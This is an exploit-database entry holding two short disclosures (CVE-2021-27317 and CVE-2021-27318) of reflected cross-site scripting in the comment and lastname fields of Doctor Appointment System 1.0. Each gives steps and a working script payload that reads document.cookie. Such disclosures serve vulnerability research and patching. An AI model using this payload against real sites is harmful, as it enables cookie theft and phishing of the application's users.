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## https://sploitus.com/exploit?id=PACKETSTORM:161574
# Exploit Title: Doctor Appointment System 1.0 - Reflected POST based Cross Site Scripting (XSS) in comment parameter  
# Date: 26-02-2021  
# CVE: CVE-2021-27317  
# Exploit Author: Soham Bakore  
# Vendor Homepage: https://www.sourcecodester.com/php/14182/doctor-appointment-system.html  
# Software Link: https://www.sourcecodester.com/php/14182/doctor-appointment-system.html  
# Version: V1.0  
  
Vulnerable File:  
----------------  
http://host/doctorappointment/contactus.php  
<http://host/patient/search_result.php>  
  
Vulnerable Issue:  
-----------------  
comment parameter has no input validation  
  
POC:  
----  
1] Navigate to http://host/doctorappointment/contactus.php  
2] In the comment parameter enter following payload to execute arbitrary  
javascript code : '</script><svg/onload=alert(document.cookie)>  
3] This can be used to steal cookies or perform phishing attacks on the web  
application  
------------------  
  
# Exploit Title: Doctor Appointment System 1.0 - Reflected POST based Cross Site Scripting (XSS) in lastname parameter  
# Date: 26-02-2021  
# CVE: CVE-2021-27318  
# Exploit Author: Soham Bakore  
# Vendor Homepage: https://www.sourcecodester.com/php/14182/doctor-appointment-system.html  
# Software Link: https://www.sourcecodester.com/php/14182/doctor-appointment-system.html  
# Version: V1.0  
  
Vulnerable File:  
----------------  
http://host/doctorappointment/contactus.php  
<http://host/patient/search_result.php>  
  
Vulnerable Issue:  
-----------------  
lastname parameter has no input validation  
  
POC:  
----  
1] Navigate to http://host/doctorappointment/contactus.php  
2] In the lastname parameter enter following payload to execute arbitrary  
javascript code : '</script><svg/onload=alert(document.cookie)>  
3] This can be used to steal cookies or perform phishing attacks on the web  
application